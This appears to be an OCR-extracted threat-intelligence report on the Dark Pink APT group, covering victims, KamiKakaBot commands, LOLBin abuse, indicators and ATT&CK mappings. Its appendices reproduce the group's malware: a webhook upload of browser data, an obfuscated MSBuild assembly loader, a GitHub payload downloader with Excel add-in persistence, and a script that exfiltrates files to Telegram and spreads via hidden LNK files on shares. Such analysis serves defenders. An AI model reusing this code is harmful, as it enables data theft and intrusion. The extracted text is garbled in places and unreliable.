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Join the Cybercrime Fighters Club

The global fight against cybercrime is a collaborative
effort, and that’s why we’re looking to partner with
industry peers to research emerging threats and publish
joint findings on our blog. If you’ve discovered a
breakthrough into a particular threat actor or a
vulnerability in a piece of software, let us know at blog@group-
ib.com, and we can mobilize all our necessary resources to
dive deeper into the issue. All contributions will be given
appropriate credit along with the full backing of our social
media team on Group-IB’s Threat Intelligence Twitter page, where we
regularly share our latest findings into threat actors’ TTPs
and infrastructure, along with our other social media
accounts.

Key findings
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Five new victims of Dark Pink have been identified by Group-IB.
Dark Pink expanded its operations to Belgium, Brunei, and Thailand.

The group remains highly active with two successful attacks carried out since the beginning
of 2023.

Dark Pink’s new account on GitHub has been discovered and analyzed by Group-IB
researchers.

Dark Pink leveraged the functionalities of an MS Excel add-in to ensure the persistence of
TelePowerBot within the infected system.

Dark Pink keeps updating its existing toolset to remain undetected.

In a recent attack, Dark Pink exfiltrated stolen data over a HTTP protocol using a service called
Webhook.

Dark Pink most likely uses different LOLBIn techniques to evade detection on infected
machines.

KamiKakaBot’s functionality has been split into two distinct parts: controlling devices and
stealing sensitive data.

In addition to distributing payloads through GitHub, the threat actors used the service
TextBin.net for the same purpose.

Dark Pink’s Modified Kill Chain
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Description Different variation of KamiKakaBot’s command

Steal data from

CMD_BROWS GETBRWS
web browser

Update XML file CMD_UPDATEXML XMLNEW

Update telegram

CMD_UPDATETOKEN TOKENNEW
token

Send bot/victim
identifier

SHOWUP

Download and 4869%URL% (4869 sequence is the “Hi” character in hex
execute arbitrary representation. If file download is successful, return 4869d
script (Hi\x0d), otherwise 4869¢(Hi\x0¢))
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6 Execute command in cmd.exe

Mozilla Firefox Google Chrome/MS Edge

key4.db
Login Data\

Persistence and lateral movement

blog post
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Data exfiltration
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$ui="hXXps://webhook[.]site/288a834b-fd92-4531-82a5-b41e907daab6";
$dt=$env:userprofile+'\Local Settings\Application Data\Google\Chrome\User Data\Default\Wel
(New-Object System.Net.WebClient).UploadFile($ui,$dt);
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Reconnaissance
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:\Program Files (x86)\Windows Kits\10\bin\*\*\AccChecker\AccCheckConsole.exe"
:\Program Files (x86)\Windows Kits\10\Debuggers\*\remote.exe"

:\Program Files *\Internet Explorer\Extexport.exe"

:\Program Files*\Microsoft Office\*\MSPUB.exe",

:\Program Files*\Microsoft Office\Office*\MSOHTMED.exe"

:\Program Files\dotnet\dotnet.exe"

:\Program Files\WindowsPowerShell\Modules\Pester\*\bin\Pester.bat"
:\Windows\diagnostics\system\WindowsUpdate\CL_Invocation.ps1"
:\Windows\Microsoft.NET\Framework*\*\ilasm.exe"
:\Windows\WinSxS\amd64_*\Runscripthelper.exe"

Program name Possible uses Examples

Loads a managed DLL
AccCheckConsole.exe in the context of
AccCheckConsole.exe

https://lolbas-
project.github.io/lolbas/OtherMSBinaries/ AccChe

Executes a process

under a trusted https://lolbas-

Microsoft signed project.github.io/lolbas/OtherMSBinaries/Remote
binary

remote.exe
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Extexport.exe Executes DLL files https://lolbas-project.github.io/lolbas/Binaries/Ex

Downloads payloads https://lolbas-

MSPUB.exe
X from remote servers project.github.io/lolbas/OtherMSBinaries/Mspub,

Downloads payloads https://lolbas-

MSOHTMED.
exe from remote servers project.github.io/lolbas/OtherMSBinaries/MsoHtr

Conclusion

Recommendations

Use modern email protection measures to prevent initial compromise through spear-phishing
emails. We recommend Group-IB Business Email Protection, which counters such threats
effectively.

Foster a strong cybersecurity culture in your workplace, including training staff to identify
phishing emails.
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Ensure that your security measures allow for proactive threat hunting in order to identify threats
that cannot be detected automatically.

Limit access to file-sharing resources, except those used within the organization.
Monitor LNK files being created in unusual locations, such as network drives and USB devices.

Observe any use of commands and built-in tools that are frequently used for collecting
information about the system and files.

Develop command line usage benchmarks for commonly used LOLBIn techniques to uncover
possible malicious activities.

Implement a monitoring system to detect any images mounted in the system, thereby
proactively protecting against infections and identifying potential malicious activities.

Keeping your organization secure requires ongoing vigilance. Using a proprietary solution such
as Group-IB Threat Intelligence can help shore up your security posture by equipping your
security teams with the latest insights into new and emerging threats.

Indicators of compromise

Twitter account
blog@group-

[Update]
Counterdraft on
the MoU on Rice
Trade.zip.iso

6b7c4ceb5419e7cde80856a85559203dca5219d05115cdd6c159812e789149¢c34

wwlib.dll 8dc3f6179120f03fd6cb2299dbc94425451d84d6852b801a313a39e9df5d9bla

~[INDONESIA]

COUNTERDRAFT

MOU ON RICE

TRADE 78ec064bce850d0e0a022cdbb84a6200e62f92e8e575ebbd4a9b764dcldce77.
INDONESIA-

INDIA

15052023.D0C

MS Project file 54675¢c16¢c1fd97227cb41892431e1f9f8b0b153225b5576445d3ba24860dcfd9
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115a66abal068belle549c4194dda5f338684ae37ffofc9045c0bae488abacf4

LALITNAOLREADT7TANLNONANANOCLNATNALALOO ANLALLNFALNNO ANNET7FOAANAAANONOI/

HKCU:\Environment\PSH
HKCU:\Environment\SYSB
HKCU:\Environment\TPM

hXXps://webhook[.]site/288a834b-fd92-4531-82a5-b41e907daa56
hXXps://webhook].]site/2b733e31-70bb-4777-beda-41a98f3559bf
hXXp:/[raw.githubusercontent][.Jcom/peterlyly/zxcv/main/xxx.gif
hXXp://raw.githubusercontent[.Jcom/peterlyly/zxcv/main/ccc.gif
hXXp://raw.githubusercontent[.Jcom/peterlyly/zxcv/main/DDDD.gif
hXXp:/[raw.githubusercontent[.Jcom/peterlyly/zxcv/main/eeeee.gif
hXXps://raw.githubusercontent[.Jcom/peterlyly/zxcv/main/eeeee.gif
hXXps://raw.githubusercontent[.Jcom/peterlyly/zxcv/main/xxx.gif
hXXps://raw.githubusercontent[.Jcom/peterlyly/zxcv/main/eee.gif
hXXps://raw.githubusercontent[.Jcom/peterlyly/zxcv/main/ccc.gif
hXXps://raw.githubusercontent[.Jcom/peterlyly/zxcv/main/bbb.gif
hXXps://textbin[.]Jnet/raw/1tmfbiObep
hXXps://textbin[.]net/raw/d7hs6e680x
hXXp://176.10.80[.]38:8843/upload
hXXp://176.10.80[.]38:8843/11.msi

hXXp://176.10.80[.]138:8843/1.zip

MITRE ATT&CK®
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Tactic Mitre ID

initial-access T1091

T1566.002

execution T1204.002

T1059.001

T1053.005

T1059.005

T1059.003

nAarcictan~n T1R714 NN\D
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Technique

Replication Through Removable Media

[Phishing->Spearphishing Link]

[User Execution->Malicious File]

[Command and Scripting Interpreter->PowerShell]

[Scheduled Task/Job-=Scheduled Task]

[Command and Scripting Interpreter->=Visual Basic]

[Command and Scripting Interpreter->Windows Command Shel

[THiiaAl Evaniitinn Elane-~NI 1 Qida_l AadinAl

APPENDIX A. Example of new XML file

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Office_Runtime_d">

<0ffice_runtime/>
</Target>
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<UsingTask
TaskName="0ffice_runtime"
TaskFactory="CodeTaskFactory"
AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.d11" >
<Task>

<Reference Include="System" />

<Reference Include="System.Reflection" />

<Reference Include="System.I0" />

<Reference Include="System.IO.Compression" />

<Code Type="(Class" Language="cs">
<![CDATA[

using System;

using System.Reflection;

using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.IO;

using System.IO.Compression;
using System.Text;

public class Office_runtime : Microsoft.Build.Utilities.Task, ITask
{
public static byte[] AamlYlJd_vm_;
public static byte[] YjE_c_oZzFdhBall;
public static byte[] xt__RzP_rEFQ_ = new byte[] {REDACTED};
public static string W1JbbGOGij = "REDACTED"
public static byte[] KQISfIU_Xy_ = new byte[] {104, 249, 1, 152, 206, 213};
public override bool Execute()
{
for (int 1 = 0; 1 < 100;i++)
if (i % 5==4)
{
break;
}
else if (i % 5==0)
{
AamlY1Jd_vm_ = Convert.FromBase64String(W1JbbG0Gij);
for (int j = 0;j < AamlYlJd_vm_.Length; j++)
Aam1Y1Jd_vm_[j] = (byte)(AamlY1dd_vm_[j] ™ KQISFIU_Xy_[j % KQISfIU_Xy_.Le
Kanjdj10);
} else {
j1hndf1();
YjE_c_oZzFdhBalWl= new byte[]{54,50,51,50,50,48,52,49,54,53};
b

return true;
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public static int Kanjdj1()
{

int zz=11;

int yasd=22;

return zz+ yasd;

public static int jThndf1()
{

int x = 1;

inty = 2;

return x + vy;

public static string GenRandName()

{

nn

string s = "";
var rd = new Random();
for (int 1 = 0; 1 < 16; i++)
{
if (i%4==0 && i > 0)
s=s+'-";
s = s + rd.Next(1, 9).ToString();
}

return s;

public static string init_br()
{

for (int i = @ ;i < xt__RzP_rEFQ_.Length;i++)

{

xt__RzP_rEFQ_[i] = (byte)(xt__RzP_rEFQ_[i] ™ KQISfIU_Xy_[i % KQISTIU_Xy_.
}

string _br_dl = GenRandName() + ".tmp";

_br_dl = Environment.ExpandEnvironmentVariables(String.Format(@"%TMP%\\{0
if (File.Exists(_br_dl))

File.Delete( _br_dl);

File.WriteAl1Bytes(_br_dl,xt__RzP_rEFQ_);

File.SetAttributes( br_dl,FileAttributes.Hidden);

return _br_d1;

public static void _akgnadRnf()
{
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j1hndf1();

Kanjdj1();

string ksddNvLr_ukEw = init_br();

string jt_tzcoQYash_ = Encoding.Default.GetString(YjE_c_oZzFdhBall);

var inputStream = new MemoryStream(AamlYlJd_vm_);

ZipArchive archive = new ZipArchive(inputStream, ZipArchiveMode.Read);
ZipArchiveEntry archEntry = archive.Entries[0];

Stream entryStream = archEntry.0Open();

var tmpMem = new MemoryStream();

entryStream.CopyTo(tmpMem);

var xtmp = tmpMem.ToArray();

var ytld = Assembly.Load(xtmp);

byte[] vfrr = Convert.FromBase64String("REDACTED");
foreach (Type type in ytld.GetExportedTypes())
{
try
{
var ¢ = Activator.CreateInstance(type);
type.InvokeMember ("6gelkCas8K", BindingFlags.InvokeMethod, null,
}
catch { continue; }

}

APPENDIX B. Example of a script to install add-ins

scriptblock = {
$uri = "hXXps://raw.githubusercontent[.]com/peterlyly/zxcv/main/ccc.gif";
start "C:\\Program Files\\Windows Defender\\ConfigSecurityPolicy.exe" -ArgumentLli
$file = (gi "$env:localappdata\\Microsoft\\Windows\\INetCache\\IE\\*\\ccc*.gif" -
expand $file "$env:tmp\\ccc.zip";sleep 10;rm $file -force
Expand-Archive -Path "$env:temp\\ccc.zip" -DestinationPath "$env:temp" -force
ni "$env:appdata\\Microsoft\\Excel\\XLSTART" -ItemType Directory
replace "$env:temp\\ccc\\ANALYS32.x11" "$env:appdata\\Microsoft\\Excel\\XLSTART" ,
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replace "$env:temp\\ccc\\AccHelper.x11" "$env:appdata\\Microsoft\\Excel\\XLSTART"
};Start-Job $scriptblock”,

APPENDIX C. Example of a bbb.gif file

$reg="HKCU:\Environment";

$token, $chat_id=(gp $reg -name GUID2).GUID2 -split "::"

$time=get-date -date ((gp $reg -name TIME).TIME);

gi $env:APPDATA\M*\W*\R*\*|sort LastWriteTime|?{$_.FullName -like "*.1nk" -and $_.LastWri-
$tp = (New-Object -comObject WScript.Shell).CreateShortcut($_.FullName).TargetPat
if(("" -ne $tp) -and (Test-Path $tp -PathType Leaf) -and ($tp -notlike "*.exe")){
$file = $tp;
$ascii = [System.Text.Encoding]::ascii;
$file=$ascii.getstring($ascii.getbytes("$($env:COMPUTERNAME)_$($file)")) -replace
cp -path $tp -Destination "$env:temp\$file"
Compress-Archive -Path "$env:temp\$file" -Destination "$env:temp\$file.zip" -Forc:
Add-Type -AssemblyName System.Net.Http
$form = new-object System.Net.Http.MultipartFormDataContent
$form.Add($(New-Object System.Net.Http.StringContent $Chat_ID), 'chat_id")
$Content = [System.I0.File]::ReadAl1Bytes("$env:temp\$file.zip")
$byte = New-Object System.Net.Http.ByteArrayContent ($Content, @, $Content.Length
$byte.Headers.Add('Content-Type', 'text/plain’)
$form.Add($byte, 'document', "$file.zip")
$ms = new-object System.IO0.MemoryStream
$form.CopyToAsync($ms).Wait()
try {irm -Method Post -Body $ms.ToArray() -Uri "https://api.telegram.org/bot$toke
catch {Start-Sleep 30;irm -Method Post -Body $ms.ToArray() -Uri "https://api.tele
$time = $_.LastWriteTime
sp -Path $reg -Name "Time" -Value $time.tostring('yyyy-MM-dd HH:mm:ss') -Force
rm "$env:temp\$file" -Force -Recurse
rm "$env:temp\$file.zip" -Force -Recurse
}

}

$list_paths = @()

$list_paths += (get-smbshare|?{($_.Description -notin ("Default share","Remote IPC","Prin-

$list_paths += (Get-SMBMapping|?{$_.Status -eq "OK"})|%{if($_){$_.path}}

$list_paths += gi $env:APPDATA\MX\W*\R*\*|?{$_.FullName -like "*.1lnk"}|%{(New-Object -com

if($list_paths.count -ne 0){

try{Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force}catch{
$uri = "https://github.com/peterlyly/zxcv/raw/main/xxx.gif";
start "C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe" -Argumentlist
$file = (gi "$env:localappdata\Microsoft\Windows\INetCache\IE\*\xxx*.gif" -force)
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expand $file "$env:tmp\xxx.zip";sleep 10;rm $file -force
Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force

}
$list_paths = $list_paths |%{(gci $_ -Recurse -Directory -Force|?{$_.name -notin ('dism’',
$list_paths|%{if($null -eq $_){return}
cp "$env:temp\xxx" "$_\dism" -Recurse -Force;
sc "$_\system.bat" -value "@echo off'ncd %cd%dism'nstart dism.exe‘nexit";
attrib +s +h "$_\dism";attrib +s +h "$_\dism\*.*";attrib +s +h "$_\system.bat";
(Gci "$_\" -Directory -force)|?{$_.name -notin ('dism', '$RECYCLE.BIN', 'System Voli
if($null -eq $_){return}
attrib +s +h "$($_.fullname)"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk")
$Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe"
$Shortcut.Arguments = "/c start explorer $($_.name) &% system.bat && exit"
$Shortcut.IconlLocation = "%SystemRoot%\System32\SHELL32.d11,4"
$Shortcut.WorkingDirectory = "%cd%"
$Shortcut.Save()}

Found it interesting? Don't hesitate to share it to wow your friends or colleagues
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